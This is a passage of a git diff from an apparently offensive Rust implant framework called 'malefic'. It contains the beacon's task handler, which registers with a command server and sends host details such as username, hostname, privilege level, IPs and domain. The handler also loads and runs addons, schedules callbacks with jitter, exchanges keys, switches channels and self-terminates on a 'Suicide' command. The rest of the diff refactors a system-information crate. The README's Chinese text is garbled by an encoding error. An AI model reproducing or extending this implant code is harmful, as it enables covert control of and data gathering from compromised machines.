+ let secure = { + #[cfg(feature = "secure")] + { + // Always advertise secure capability when feature is enabled, + // even during cold start (empty keys). This tells the server + // to create a SecureManager and trigger key exchange. + let public_key = self.meta.get_public_key().unwrap_or_default(); + Some(modulepb::Secure { + enable: true, + key: String::new(), + r#type: "age".to_string(), + public_key, + }) + } + #[cfg(not(feature = "secure"))] + { + None + } + }; + debug!("internal modules: {:?}", InternalModule::all()); + new_spite( + 0, + "register".to_string(), + Body::Register(modulepb::Register { + name: config::NAME.to_string(), + proxy: config::PROXY_URL.to_string(), + module: self.manager.list_module(InternalModule::all()).0, + #[cfg(feature = "addon")] + addons: self.manager.list_addon(), + #[cfg(not(feature = "addon"))] + addons: Vec::new(), + sysinfo, + timer: Some(modulepb::Timer { + expression: config::CRON.to_string(), // Cron expression controls scheduling + jitter: config::JITTER.clone() as f64, + }), + secure, + }), + ) + } + + pub async fn push(&mut self, spite: Spite) -> anyhow::Result<()> { + self.channel.data_sender.send(spite).await?; + Ok(()) + } + + pub async fn handler(&mut self, spites: Spites) -> anyhow::Result<()> { + for spite in spites.spites { + #[cfg(debug_assertions)] + { + debug!("Received {}", spite_log_output(&spite)); + } + match self.handler_spite(spite.clone()).await { + Ok(_) => { + debug!("{}:{} sender succ", spite.task_id, spite.name) + } + Err(e) => { + debug!("handler encountered an error: {:#?}", e); + let error_id = if let Some(malefic_error) = e.downcast_ref::() { + malefic_error.id() + } else { + 999 + }; + self.push(new_error_spite(spite.task_id, spite.name, error_id)) + .await? + } + } + } + Ok(()) + } + + pub async fn handler_spite(&mut self, req: Spite) -> anyhow::Result<()> { + // Init is special: needs to set meta.id and uses stub-specific register info. + if req.name == "init" { + let init = check_body!(req, Body::Init)?; + let id: [u8; 4] = init + .data + .try_into() + .map_err(|_| anyhow!("Expected a Vec of length 4"))?; + self.meta.set_id(id); + let spite = self.register_spite(); + self.push(spite).await?; + return Ok(()); + } + + // Try dispatch via manager (handles ping, list_module, refresh, load_module, clear). + let internal_result = self.manager.dispatch_internal(&req, None); + match internal_result { + Ok(Some(spite)) => { + self.push(spite).await?; + return Ok(()); + } + Ok(None) => {} // Not internal — fall through to external module or beacon-only + Err(MaleficError::BeaconOnly(_)) => {} // Beacon-only — handle below + Err(e) => return Err(e.into()), + } + + // Beacon-only internal modules. + match InternalModule::from_str(req.name.as_str()) { + #[cfg(feature = "addon")] + Ok(InternalModule::LoadAddon) => { + self.manager.load_addon(req.clone())?; + self.push(new_spite( + req.task_id, + InternalModule::LoadAddon.to_string(), + Body::Empty(implantpb::Empty::default()), + )) + .await?; + } + #[cfg(feature = "addon")] + Ok(InternalModule::ListAddon) => { + self.push(new_spite( + req.task_id, + InternalModule::ListAddon.to_string(), + Body::Addons(modulepb::Addons { + addons: self.manager.list_addon(), + }), + )) + .await?; + } + #[cfg(feature = "addon")] + Ok(InternalModule::ExecuteAddon) => { + let result = self.manager.execute_addon(req)?; + let module = self + .manager + .get_module(&result.name) + .ok_or_else(|| anyhow!(MaleficError::ModuleNotFound))?; + let body = result.body.ok_or_else(|| anyhow!(MaleficError::MissBody))?; + self.channel + .scheduler_task_sender + .send((result.r#async, result.task_id, module.new_instance(), body)) + .await?; + } + #[cfg(feature = "addon")] + Ok(InternalModule::RefreshAddon) => { + self.manager.refresh_addon()?; + self.push(new_spite( + req.task_id, + InternalModule::RefreshAddon.to_string(), + Body::Empty(implantpb::Empty::default()), + )) + .await?; + } + Ok(InternalModule::CancelTask) => { + if let Some(Body::Task(task)) = req.body { + self.channel + .scheduler_task_ctrl + .send((req.task_id, TaskOperator::CancelTask(task.task_id))) + .await?; + } + } + Ok(InternalModule::QueryTask) => { + if let Some(Body::Task(task)) = req.body { + self.channel + .scheduler_task_ctrl + .send((req.task_id, TaskOperator::QueryTask(task.task_id))) + .await?; + } + } + Ok(InternalModule::ListTask) => { + self.channel + .scheduler_task_ctrl + .send((req.task_id, TaskOperator::ListTask)) + .await?; + } + Ok(InternalModule::Sleep) => { + let sleep = check_body!(req, Body::SleepRequest)?; + self.meta + .update_schedule(&*sleep.expression, sleep.jitter)?; + self.push(new_spite( + req.task_id, + InternalModule::Sleep.to_string(), + Body::Empty(implantpb::Empty::default()), + )) + .await?; + } + Ok(InternalModule::Suicide) => { + self.push(new_spite( + req.task_id, + InternalModule::Suicide.to_string(), + Body::Empty(implantpb::Empty::default()), + )) + .await?; + Delay::new(Duration::from_secs(10)).await; + std::process::exit(0); + } + Ok(InternalModule::Switch) => { + let switch = check_body!(req, Body::Switch)?; + self.pending_switch = Some(PendingSwitch { + action: switch.action, + targets: switch.targets, + key: switch.key, + }); + self.push(new_spite( + req.task_id, + InternalModule::Switch.to_string(), + Body::Empty(implantpb::Empty::default()), + )) + .await? + } + Ok(InternalModule::KeyExchange) => { + let key_request = check_body!(req, Body::KeyExchangeRequest)?; + let key_resp = self.handle_key_exchange(req.task_id, key_request).await?; + self.push(key_resp).await?; + } + Ok(InternalModule::KeepAlive) => { + let enable = if let Some(Body::Common(common)) = &req.body { + common.bool_array.get(0).copied().unwrap_or(false) + } else { + false + }; + debug!("[keepalive] Received keepalive request: enable={}", enable); + self.keepalive_enabled = enable; + self.push(new_spite( + req.task_id, + InternalModule::KeepAlive.to_string(), + Body::Common(modulepb::CommonBody { + bool_array: vec![enable], + ..Default::default() + }), + )) + .await?; + } + // Already handled by dispatch_internal or not an internal module. + _ => { + debug!("Dispatch {}", spite_log_output(&req)); + let body = req.body.ok_or_else(|| anyhow!(MaleficError::MissBody))?; + let module = self + .manager + .get_module(&req.name) + .ok_or_else(|| anyhow!(MaleficError::ModuleNotFound))?; + self.channel + .scheduler_task_sender + .send((req.r#async, req.task_id, module.new_instance(), body)) + .await?; + } + }; + Ok(()) + } + + async fn handle_key_exchange( + &mut self, + task_id: u32, + _key_request: modulepb::KeyExchangeRequest, + ) -> anyhow::Result { + #[cfg(feature = "secure")] + { + // Validate timestamp (skip if 0 for backward compat with old server) + if _key_request.timestamp > 0 { + let now = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap_or_default() + .as_secs(); + if now.abs_diff(_key_request.timestamp) > 120 { + return Err(anyhow!( + "key exchange request expired (timestamp drift > 120s)" + )); + } + } + + // Reject replayed nonces + if !self.meta.check_and_record_nonce(&_key_request.nonce) { + return Err(anyhow!("replayed key exchange nonce")); + } + + // Verify HMAC signature if present (empty = old server, skip) + if !_key_request.signature.is_empty() { + use hmac::{Hmac, Mac}; + use sha2::Sha256; + type HmacSha256 = Hmac; + + let transport_key = config::get_transport_key(); + let mut mac = HmacSha256::new_from_slice(&transport_key) + .map_err(|e| anyhow!("HMAC init failed: {}", e))?; + mac.update(_key_request.public_key.as_bytes()); + mac.update(_key_request.timestamp.to_string().as_bytes()); + mac.update(_key_request.nonce.as_bytes()); + mac.verify_slice(&_key_request.signature) + .map_err(|_| anyhow!("key exchange HMAC signature verification failed"))?; + } + + let (private_key, public_key) = malefic_proto::generate_age_keypair(); + let next_server_public_key = if _key_request.public_key.is_empty() { + None + } else { + Some(_key_request.public_key) + }; + + // Cache pending keys first. Keep active keys until response is sent successfully. + self.meta + .cache_key_exchange(private_key, next_server_public_key); + Ok(new_spite( + task_id, + "key_exchange".to_string(), + Body::KeyExchangeResponse(modulepb::KeyExchangeResponse { public_key }), + )) + } + #[cfg(not(feature = "secure"))] + { + Ok(new_empty_spite(task_id, "key_ack".to_string())) + } + } + + // ======================================================================== + // Common interaction logic (shared by Bind and Beacon) + // ======================================================================== + + /// Prepare Spites to send + /// + /// Get data to send from channel + pub async fn prepare_spites(&mut self) -> anyhow::Result { + // Request data + self.channel.request_sender.send(true).await?; + + // Get data + let spites = if let Some(data) = + futures::StreamExt::next(&mut self.channel.response_receiver).await + { + data + } else { + Spites { spites: vec![] } + }; + + #[cfg(debug_assertions)] + { + if !spites.spites.is_empty() { + debug!("Sending {}", spites_log_output(&spites)); + } + } + + Ok(spites) + } + + /// Prepare request data (send data if available, otherwise send ping) + pub async fn prepare_request(&mut self) -> anyhow::Result { + // Try to get data to send + let spites = self.prepare_spites().await?; + + // If no data, send ping + if spites.spites.is_empty() { + Ok(Self::create_ping()) + } else { + Ok(spites) + } + } + + /// Create ping message + pub fn create_ping() -> Spites { + let ping_spite = new_spite( + 0, + "ping".to_string(), + Body::Ping(modulepb::Ping { + nonce: std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap_or_default() + .as_secs() as i32, + }), + ); + Spites { + spites: vec![ping_spite], + } + } + + pub fn contains_key_exchange_response(spites: &Spites) -> bool { + spites + .spites + .iter() + .any(|spite| matches!(spite.body.as_ref(), Some(Body::KeyExchangeResponse(_)))) + } + + #[cfg(feature = "secure")] + pub fn should_reconnect_after_key_exchange(&mut self) -> bool { + if self.meta.commit_key_exchange_if_ready() { + debug!("[secure] key exchange committed, reconnecting with new keys"); + return true; + } + false + } + + #[cfg(not(feature = "secure"))] + #[allow(dead_code)] + pub fn should_reconnect_after_key_exchange(&mut self) -> bool { + false + } + + pub fn should_reconnect_for_switch(&self) -> bool { + self.pending_switch.is_some() + } + + pub fn take_pending_switch(&mut self) -> Option { + self.pending_switch.take() + } +} diff --git a/malefic-crates/stub/src/sys.rs b/malefic-crates/stub/src/sys.rs new file mode 100644 index 0000000..74668cf --- /dev/null +++ b/malefic-crates/stub/src/sys.rs @@ -0,0 +1,73 @@ +use malefic_proto::proto::modulepb::{Os, Process, SysInfo}; + +pub fn get_register_info() -> Option { + #[cfg(feature = "register_info")] + return get_sysinfo(); + + #[cfg(not(feature = "register_info"))] + return none_sysinfo(); +} + +#[cfg(feature = "register_info")] +fn get_sysinfo() -> Option { + let info = malefic_sysinfo::get_sysinfo(); + let os = info.os?; + let process = info.process?; + Some(SysInfo { + filepath: info.filepath, + workdir: info.workdir, + is_privilege: info.is_privilege, + os: Some(Os { + name: os.name, + version: os.version, + release: os.release, + arch: os.arch, + username: os.username, + hostname: os.hostname, + locale: os.locale, + clr_version: os.clr_version, + }), + process: Some(Process { + name: process.name, + pid: process.pid, + ppid: process.ppid, + arch: process.arch, + owner: process.owner, + path: process.path, + args: process.args, + uid: "".to_string(), + }), + }) +} + +#[cfg(not(feature = "register_info"))] +fn none_sysinfo() -> Option { + const OS_NAME: &str = std::env::consts::OS; + const OS_ARCH: &str = std::env::consts::ARCH; + + Some(SysInfo { + filepath: "".to_string(), + workdir: "".to_string(), + is_privilege: false, + os: Some(Os { + name: OS_NAME.to_string(), + version: "".to_string(), + release: "".to_string(), + arch: OS_ARCH.to_string(), + username: "".to_string(), + hostname: "".to_string(), + locale: "".to_string(), + clr_version: vec![], + }), + process: Some(Process { + name: "".to_string(), + pid: 0, + ppid: 0, + arch: OS_ARCH.to_string(), + owner: "".to_string(), + path: "".to_string(), + args: "".to_string(), + uid: "".to_string(), + }), + }) +} diff --git a/malefic-crates/sysinfo/Cargo.toml b/malefic-crates/sysinfo/Cargo.toml new file mode 100644 index 0000000..52332b6 --- /dev/null +++ b/malefic-crates/sysinfo/Cargo.toml @@ -0,0 +1,39 @@ +[package] +name = "malefic-sysinfo" +version = "0.1.0" +edition = "2021" + +[features] +default = [] +clr = ["malefic-os-win/clr"] + +[dependencies] +anyhow = { workspace = true } +obfstr = { workspace = true } +sha2 = { workspace = true } +malefic-process = { workspace = true } + +[target.'cfg(target_os = "windows")'.dependencies] +malefic-os-win = { workspace = true } +windows = { workspace = true, features = [ + "Win32_Foundation", + "Win32_System_SystemInformation", + "Win32_System_Registry", + "Win32_System_Threading", + "Win32_Security", + "Win32_NetworkManagement_IpHelper", + "Win32_NetworkManagement_Ndis", + "Win32_Networking_WinSock", + "Win32_Networking_ActiveDirectory", + "Win32_NetworkManagement_NetManagement", + "Win32_System_Environment", + "Win32_Storage_FileSystem", + "Win32_System_WindowsProgramming", +] } + +[target.'cfg(unix)'.dependencies] +libc = { workspace = true } +nix = { workspace = true } +mac_address = "1.1" +malefic-common = { workspace = true } +malefic-net = { workspace = true } diff --git a/malefic-crates/sysinfo/README.md b/malefic-crates/sysinfo/README.md new file mode 100644 index 0000000..623de2c --- /dev/null +++ b/malefic-crates/sysinfo/README.md @@ -0,0 +1,87 @@ +# malefic-sysinfo + +跨平å°ç³»ç»Ÿä¿¡æ¯æ”¶é›†åº“,æä¾›ç»Ÿä¸€çš„ API èŽ·å–æ“作系统ã€ç”¨æˆ·ã€ç½‘ç»œåŠæ–‡ä»¶ç³»ç»Ÿç›¸å…³ä¿¡æ¯ã€‚ + +## 功能简介 + +- èŽ·å–æ“作系统åç§°ã€ç‰ˆæœ¬å·ã€å†…æ ¸ç‰ˆæœ¬ç­‰åŸºæœ¬ä¿¡æ¯ +- 获å–当å‰ç”¨æˆ·åã€ä¸»æœºåã€ç³»ç»Ÿè¯­è¨€/区域设置 +- 检测 CPU 架构(x86ã€x86_64ã€ARMã€ARM64 等) +- èŽ·å–æ‰€æœ‰ç½‘络适é…器的 IPv4 åœ°å€ +- 查询当å‰ä¸»æœºæ‰€å±žåŸŸå(Active Directory 域) +- 检测当å‰è¿›ç¨‹æ˜¯å¦å…·æœ‰ç®¡ç†å‘˜/root æƒé™ +- 枚举ç£ç›˜é©±åЍ噍åŠå…¶ç±»åž‹ï¼ˆWindows) +- 文件系统工具:工作目录ã€å¯æ‰§è¡Œæ–‡ä»¶è·¯å¾„ã€SHA-256 æ ¡éªŒå’Œã€æ–‡ä»¶æŸ¥æ‰¾ +- æ”¯æŒ Windowsã€Linuxã€macOSã€Android å››ä¸ªå¹³å° + +## Features + +| Feature | 说明 | +|---------|------| +| `clr` | å¯ç”¨ .NET CLR 版本检测(仅 Windows),收集已安装的 .NET è¿è¡Œæ—¶ç‰ˆæœ¬åˆ—表 | + +## 核心数æ®ç»“æž„ + +```rust +pub struct SysInfo { + pub workdir: String, // 当å‰å·¥ä½œç›®å½• + pub filepath: String, // 当å‰å¯æ‰§è¡Œæ–‡ä»¶è·¯å¾„ + pub os: Option, // æ“作系统信æ¯ï¼ˆåç§°ã€ç‰ˆæœ¬ã€æž¶æž„ã€ç”¨æˆ·åã€ä¸»æœºå等) + pub process: Option, // 当å‰è¿›ç¨‹ä¿¡æ¯ + pub is_privilege: bool, // æ˜¯å¦æ‹¥æœ‰ç®¡ç†å‘˜/root æƒé™ + pub ip_addresses: Vec, // 所有 IPv4 åœ°å€ + pub domain_name: String, // 域å +} +``` + +## 基本用法 + +```rust +use malefic_sysinfo::{get_sysinfo, is_privilege}; + +// 一次性获å–å…¨éƒ¨ç³»ç»Ÿä¿¡æ¯ +let info = get_sysinfo(); +println!("工作目录: {}", info.workdir); +println!("æƒé™æå‡: {}", info.is_privilege); +println!("IP 地å€: {:?}", info.ip_addresses); +println!("域å: {}", info.domain_name); + +if let Some(os) = &info.os { + println!("{} {} ({})", os.name, os.version, os.arch); +} + +// 也å¯ä»¥å•独调用å„函数 +let user = malefic_sysinfo::username(); +let host = malefic_sysinfo::hostname(); +let arch = malefic_sysinfo::arch(); +``` + +### 文件系统工具 + +```rust +use malefic_sysinfo::filesys; + +// 计算文件 SHA-256 校验和 +let hash = filesys::check_sum("/path/to/file").unwrap(); + +// 在 PATH ä¸­æŸ¥æ‰¾å¯æ‰§è¡Œæ–‡ä»¶ +let path = filesys::lookup("notepad"); + +// è¯»å–æ–‡ä»¶äºŒè¿›åˆ¶å†…容 +let (bytes, filename) = filesys::get_binary("target.exe").unwrap(); +``` + +## å¹³å°å®žçް + +| æ¨¡å— | Windows | Linux/Android | macOS | +|------|---------|---------------|-------| +| `whoami` | Win32 API + 注册表 | `/etc/os-release` + libc | sysctl + libc | +| `ipconfig` | `GetAdaptersAddresses` | 读å–ç½‘ç»œæŽ¥å£ | 读å–ç½‘ç»œæŽ¥å£ | +| `domain` | `DsGetDcNameW` (AD) | è§£æžé…置文件 | è§£æžé…置文件 | +| `driver` | `GetLogicalDriveStringsW` | — | — | + +## å‚考链接 + +- [Windows Win32 System Information API](https://learn.microsoft.com/en-us/windows/win32/api/sysinfoapi/) +- [Windows IP Helper API](https://learn.microsoft.com/en-us/windows/win32/api/iphlpapi/) +- [Windows Active Directory API](https://learn.microsoft.com/en-us/windows/win32/api/dsgetdc/) diff --git a/malefic-helper/src/darwin/domain/mod.rs b/malefic-crates/sysinfo/src/darwin/domain.rs similarity index 100% rename from malefic-helper/src/darwin/domain/mod.rs rename to malefic-crates/sysinfo/src/darwin/domain.rs diff --git a/malefic-helper/src/darwin/ipconfig/mod.rs b/malefic-crates/sysinfo/src/darwin/ipconfig.rs similarity index 82% rename from malefic-helper/src/darwin/ipconfig/mod.rs rename to malefic-crates/sysinfo/src/darwin/ipconfig.rs index 775cb7d..da77cf6 100644 --- a/malefic-helper/src/darwin/ipconfig/mod.rs +++ b/malefic-crates/sysinfo/src/darwin/ipconfig.rs @@ -1,52 +1,52 @@ -use std::net::{IpAddr, Ipv4Addr, Ipv6Addr}; +use malefic_common::errors::CommonError; +use malefic_common::to_error; +use malefic_net::NetInterface; use nix::ifaddrs::getifaddrs; use nix::net::if_::InterfaceFlags; -use nix::sys::socket::{SockaddrStorage, SockaddrLike}; -use crate::common::net::NetInterface; -use crate::{CommonError, to_error}; -use crate::debug; +use nix::sys::socket::{SockaddrLike, SockaddrStorage}; +use std::net::{IpAddr, Ipv4Addr, Ipv6Addr}; /// Get all network interfaces with basic information (macOS/Darwin) pub fn get_network_interfaces() -> Result, CommonError> { let mut interfaces = std::collections::HashMap::new(); - + let addrs = to_error!(getifaddrs())?; - + for (index, addr) in addrs.enumerate() { let name = addr.interface_name.clone(); let flags = addr.flags; - + // Skip loopback interfaces if flags.contains(InterfaceFlags::IFF_LOOPBACK) { continue; } - + // Skip interfaces that are down if !flags.contains(InterfaceFlags::IFF_UP) { continue; } - - let entry = interfaces.entry(name.clone()).or_insert_with(|| { - NetInterface { + + let entry = interfaces + .entry(name.clone()) + .or_insert_with(|| NetInterface { index: index as u32, name: name.clone(), mac: String::new(), ips: Vec::new(), - } - }); - + }); + if let Some(sockaddr) = addr.address { if let Some(ip_addr) = extract_ip_from_sockaddr(sockaddr) { entry.ips.push(ip_addr.to_string()); } } } - + // Get MAC addresses for (name, interface) in interfaces.iter_mut() { interface.mac = get_mac_address(name); } - + let result: Vec = interfaces.into_values().collect(); debug!("Found {} network interfaces", result.len()); Ok(result) @@ -77,7 +77,8 @@ pub fn get_ipv4_addresses() -> Vec { /// Legacy method for compatibility pub fn get_ip_addresses() -> Vec { - get_ipv4_addresses().into_iter() + get_ipv4_addresses() + .into_iter() .map(|ip| ip.to_string()) .collect() } @@ -106,10 +107,16 @@ fn extract_ip_from_sockaddr(sockaddr: SockaddrStorage) -> Option { fn get_mac_address(interface_name: &str) -> String { match mac_address::mac_address_by_name(interface_name) { Ok(Some(mac)) => { - format!("{:02x}:{:02x}:{:02x}:{:02x}:{:02x}:{:02x}", - mac.bytes()[0], mac.bytes()[1], mac.bytes()[2], - mac.bytes()[3], mac.bytes()[4], mac.bytes()[5]) + format!( + "{:02x}:{:02x}:{:02x}:{:02x}:{:02x}:{:02x}", + mac.bytes()[0], + mac.bytes()[1], + mac.bytes()[2], + mac.bytes()[3], + mac.bytes()[4], + mac.bytes()[5] + ) } - _ => String::new() + _ => String::new(), } -} \ No newline at end of file +} diff --git a/malefic-helper/src/darwin/mod.rs b/malefic-crates/sysinfo/src/darwin/mod.rs similarity index 59% rename from malefic-helper/src/darwin/mod.rs rename to malefic-crates/sysinfo/src/darwin/mod.rs index 3313930..88ac84e 100644 --- a/malefic-helper/src/darwin/mod.rs +++ b/malefic-crates/sysinfo/src/darwin/mod.rs @@ -1,5 +1,3 @@ pub mod domain; pub mod ipconfig; -pub mod netstat; -pub mod process; pub mod whoami; diff --git a/malefic-helper/src/darwin/whoami/mod.rs b/malefic-crates/sysinfo/src/darwin/whoami.rs similarity index 100% rename from malefic-helper/src/darwin/whoami/mod.rs rename to malefic-crates/sysinfo/src/darwin/whoami.rs diff --git a/malefic-helper/src/common/filesys.rs b/malefic-crates/sysinfo/src/filesys.rs similarity index 85% rename from malefic-helper/src/common/filesys.rs rename to malefic-crates/sysinfo/src/filesys.rs index 97a1a3b..6636ccb 100644 --- a/malefic-helper/src/common/filesys.rs +++ b/malefic-crates/sysinfo/src/filesys.rs @@ -11,7 +11,6 @@ pub fn chown(path: &str, uid: u32, gid: u32) -> std::io::Result<()> { } else { Err(std::io::Error::last_os_error()) } - // chown(Path::new(path), Some(Uid::from_raw(uid)), Some(Gid::from_raw(gid))) } #[cfg(target_family = "unix")] @@ -21,22 +20,16 @@ pub fn chmod(path: &str, mode: u32) -> std::io::Result<()> { let mut permissions = path.metadata()?.permissions(); permissions.set_mode(mode); std::fs::set_permissions(path, permissions) - - // std::fs::set_permissions(path, std::fs::Permissions::from(mode)) } pub fn check_sum(path: &str) -> std::io::Result { use sha2::{Digest, Sha256}; use std::fs::File; use std::io::{BufReader, Read}; - // use std::path::Path; let file = File::open(path)?; let mut reader = BufReader::new(file); let mut hasher = Sha256::new(); - // let file_extensions = Path::new(path) - // .extension() - // .and_then(std::ffi::OsStr::to_str); let mut buffer = [0; 1024]; loop { let n = reader.read(&mut buffer)?; @@ -56,8 +49,21 @@ pub fn check_sum_bytes(bytes: &[u8]) -> std::io::Result { Ok(format!("{:x}", hasher.finalize())) } +pub fn check_sum_read(reader: &mut R) -> std::io::Result { + use sha2::{Digest, Sha256}; + let mut hasher = Sha256::new(); + let mut buffer = [0u8; 4096]; + loop { + let n = reader.read(&mut buffer)?; + if n == 0 { + break; + } + hasher.update(&buffer[..n]); + } + Ok(format!("{:x}", hasher.finalize())) +} -pub(crate) fn get_cwd() -> Result { +pub fn get_cwd() -> Result { let path = env::current_dir()?; Ok(path.display().to_string()) } @@ -121,9 +127,9 @@ pub fn get_binary(file: &str) -> anyhow::Result<(Vec, String)> { let file_name = path .file_name() - .ok_or_else(|| anyhow::anyhow!("not found file"))? // 如果没有文件å,直接返回 Err + .ok_or_else(|| anyhow::anyhow!("not found file"))? .to_str() - .ok_or_else(|| anyhow::anyhow!("invalid UTF-8 in file name"))? // å¦‚æžœæ–‡ä»¶åæ— æ³•转æ¢ä¸ºå­—符串,直接返回 Err + .ok_or_else(|| anyhow::anyhow!("invalid UTF-8 in file name"))? .to_string(); let content = std::fs::read(&path)?; diff --git a/malefic-crates/sysinfo/src/lib.rs b/malefic-crates/sysinfo/src/lib.rs new file mode 100644 index 0000000..fc25b76 --- /dev/null +++ b/malefic-crates/sysinfo/src/lib.rs @@ -0,0 +1,171 @@ +macro_rules! debug { + ($($arg:tt)*) => { + #[cfg(debug_assertions)] + eprintln!($($arg)*); + }; +} + +pub mod filesys; + +#[cfg(target_os = "macos")] +pub mod darwin; +#[cfg(any(target_os = "linux", target_os = "android"))] +pub mod linux; +#[cfg(target_os = "windows")] +pub mod win; + +#[cfg(target_os = "macos")] +use darwin::{domain, ipconfig, whoami}; +#[cfg(any(target_os = "linux", target_os = "android"))] +use linux::{domain, ipconfig, whoami}; +#[cfg(target_os = "windows")] +use win::{domain, ipconfig, whoami}; + +pub fn name() -> String { + whoami::name().unwrap_or_default() +} + +pub fn release() -> String { + whoami::kernel_version().unwrap_or_default() +} + +pub fn username() -> String { + whoami::username() + .unwrap_or_default() + .to_string_lossy() + .to_string() +} + +pub fn version() -> String { + whoami::os_version().unwrap_or_default() +} + +pub fn hostname() -> String { + whoami::hostname() + .unwrap_or_default() + .to_string_lossy() + .to_string() +} + +pub fn arch() -> String { + whoami::cpu_arch().unwrap_or_default() +} + +pub fn language() -> String { + whoami::lang().unwrap_or_default() +} + +pub fn gid() -> String { + #[cfg(target_family = "unix")] + { + return unsafe { libc::getgid().to_string() }; + } + #[allow(unreachable_code)] + "".to_string() +} + +pub struct Os { + pub name: String, + pub version: String, + pub release: String, + pub arch: String, + pub username: String, + pub hostname: String, + pub locale: String, + pub clr_version: Vec, +} + +pub fn default_os() -> Option { + Some(Os { + name: name(), + version: version(), + release: release(), + arch: arch(), + username: username(), + hostname: hostname(), + locale: language(), + clr_version: { + #[cfg(all(target_os = "windows", feature = "clr"))] + { + win::clr::clr_version() + } + #[cfg(not(all(target_os = "windows", feature = "clr")))] + { + vec![] + } + }, + }) +} + +pub fn is_privilege() -> bool { + #[cfg(target_os = "windows")] + { + // Inline privilege check to avoid depending on the full token module + use std::ffi::c_void; + use windows::Win32::Foundation::CloseHandle; + use windows::Win32::Security::{ + GetTokenInformation, TokenElevation, TOKEN_ELEVATION, TOKEN_QUERY, + }; + use windows::Win32::System::Threading::GetCurrentProcessId; + use windows::Win32::System::Threading::OpenProcess; + use windows::Win32::System::Threading::OpenProcessToken; + + unsafe { + let pid = GetCurrentProcessId(); + let Ok(h_process) = OpenProcess( + windows::Win32::System::Threading::PROCESS_QUERY_INFORMATION, + false, + pid, + ) else { + return false; + }; + let mut h_token = windows::Win32::Foundation::HANDLE::default(); + if OpenProcessToken(h_process, TOKEN_QUERY, &mut h_token).is_err() { + let _ = CloseHandle(h_process); + return false; + } + let mut elevation: TOKEN_ELEVATION = std::mem::zeroed(); + let mut size: u32 = 0; + let result = GetTokenInformation( + h_token, + TokenElevation, + Some(&mut elevation as *mut _ as *mut c_void), + std::mem::size_of::() as u32, + &mut size, + ) + .is_ok() + && elevation.TokenIsElevated != 0; + let _ = CloseHandle(h_token); + let _ = CloseHandle(h_process); + return result; + } + } + #[cfg(not(target_os = "windows"))] + { + return unsafe { libc::geteuid() == 0 }; + } +} + +pub struct SysInfo { + pub workdir: String, + pub filepath: String, + pub os: Option, + pub process: Option, + pub is_privilege: bool, + pub ip_addresses: Vec, + pub domain_name: String, +} + +pub fn get_sysinfo() -> SysInfo { + let ip_addresses = ipconfig::get_ipv4_addresses(); + + SysInfo { + workdir: crate::filesys::get_cwd().unwrap_or_else(|e| e.to_string()), + filepath: crate::filesys::get_executable_path().unwrap_or_else(|e| e.to_string()), + os: default_os(), + process: malefic_process::get_current_process(), + is_privilege: is_privilege(), + ip_addresses, + domain_name: domain::get_domain(), + } +} diff --git a/malefic-helper/src/linux/domain/mod.rs b/malefic-crates/sysinfo/src/linux/domain.rs similarity index 77% rename from malefic-helper/src/linux/domain/mod.rs rename to malefic-crates/sysinfo/src/linux/domain.rs index acbbada..302c402 100644 --- a/malefic-helper/src/linux/domain/mod.rs +++ b/malefic-crates/sysinfo/src/linux/domain.rs @@ -1,6 +1,5 @@ use std::fs; -use crate::debug; pub fn get_domain() -> String { String::new() -} \ No newline at end of file +} diff --git a/malefic-helper/src/linux/ipconfig/mod.rs b/malefic-crates/sysinfo/src/linux/ipconfig.rs similarity index 85% rename from malefic-helper/src/linux/ipconfig/mod.rs rename to malefic-crates/sysinfo/src/linux/ipconfig.rs index 40af36c..8595e17 100644 --- a/malefic-helper/src/linux/ipconfig/mod.rs +++ b/malefic-crates/sysinfo/src/linux/ipconfig.rs @@ -1,52 +1,52 @@ -use std::net::{IpAddr, Ipv4Addr, Ipv6Addr}; +use malefic_common::errors::CommonError; +use malefic_common::to_error; +use malefic_net::NetInterface; use nix::ifaddrs::getifaddrs; use nix::net::if_::InterfaceFlags; -use nix::sys::socket::{SockaddrStorage, SockaddrLike}; -use crate::common::net::NetInterface; -use crate::{CommonError, to_error}; -use crate::debug; +use nix::sys::socket::{SockaddrLike, SockaddrStorage}; +use std::net::{IpAddr, Ipv4Addr, Ipv6Addr}; /// Get all network interfaces with basic information (Linux) pub fn get_network_interfaces() -> Result, CommonError> { let mut interfaces = std::collections::HashMap::new(); - + let addrs = to_error!(getifaddrs())?; - + for (index, addr) in addrs.enumerate() { let name = addr.interface_name.clone(); let flags = addr.flags; - + // Skip loopback interfaces if flags.contains(InterfaceFlags::IFF_LOOPBACK) { continue; } - + // Skip interfaces that are down if !flags.contains(InterfaceFlags::IFF_UP) { continue; } - - let entry = interfaces.entry(name.clone()).or_insert_with(|| { - NetInterface { + + let entry = interfaces + .entry(name.clone()) + .or_insert_with(|| NetInterface { index: index as u32, name: name.clone(), mac: String::new(), ips: Vec::new(), - } - }); - + }); + if let Some(sockaddr) = addr.address { if let Some(ip_addr) = extract_ip_from_sockaddr(sockaddr) { entry.ips.push(ip_addr.to_string()); } } } - + // Get MAC addresses for (name, interface) in interfaces.iter_mut() { interface.mac = get_mac_address(name); } - + let result: Vec = interfaces.into_values().collect(); debug!("Found {} network interfaces", result.len()); Ok(result) @@ -77,7 +77,8 @@ pub fn get_ipv4_addresses() -> Vec { /// Legacy method for compatibility pub fn get_ip_addresses() -> Vec { - get_ipv4_addresses().into_iter() + get_ipv4_addresses() + .into_iter() .map(|ip| ip.to_string()) .collect() } @@ -106,9 +107,15 @@ fn extract_ip_from_sockaddr(sockaddr: SockaddrStorage) -> Option { fn get_mac_address(interface_name: &str) -> String { match mac_address::mac_address_by_name(interface_name) { Ok(Some(mac)) => { - format!("{:02x}:{:02x}:{:02x}:{:02x}:{:02x}:{:02x}", - mac.bytes()[0], mac.bytes()[1], mac.bytes()[2], - mac.bytes()[3], mac.bytes()[4], mac.bytes()[5]) + format!( + "{:02x}:{:02x}:{:02x}:{:02x}:{:02x}:{:02x}", + mac.bytes()[0], + mac.bytes()[1], + mac.bytes()[2], + mac.bytes()[3], + mac.bytes()[4], + mac.bytes()[5] + ) } _ => { // Fallback to Linux sysfs method @@ -127,5 +134,3 @@ fn get_mac_address_sysfs(interface: &str) -> String { .filter(|mac| mac != "00:00:00:00:00:00") .unwrap_or_else(String::new) } - - diff --git a/malefic-helper/src/linux/mod.rs b/malefic-crates/sysinfo/src/linux/mod.rs similarity index 50% rename from malefic-helper/src/linux/mod.rs rename to malefic-crates/sysinfo/src/linux/mod.rs index 1c7c12a..88ac84e 100644 --- a/malefic-helper/src/linux/mod.rs +++ 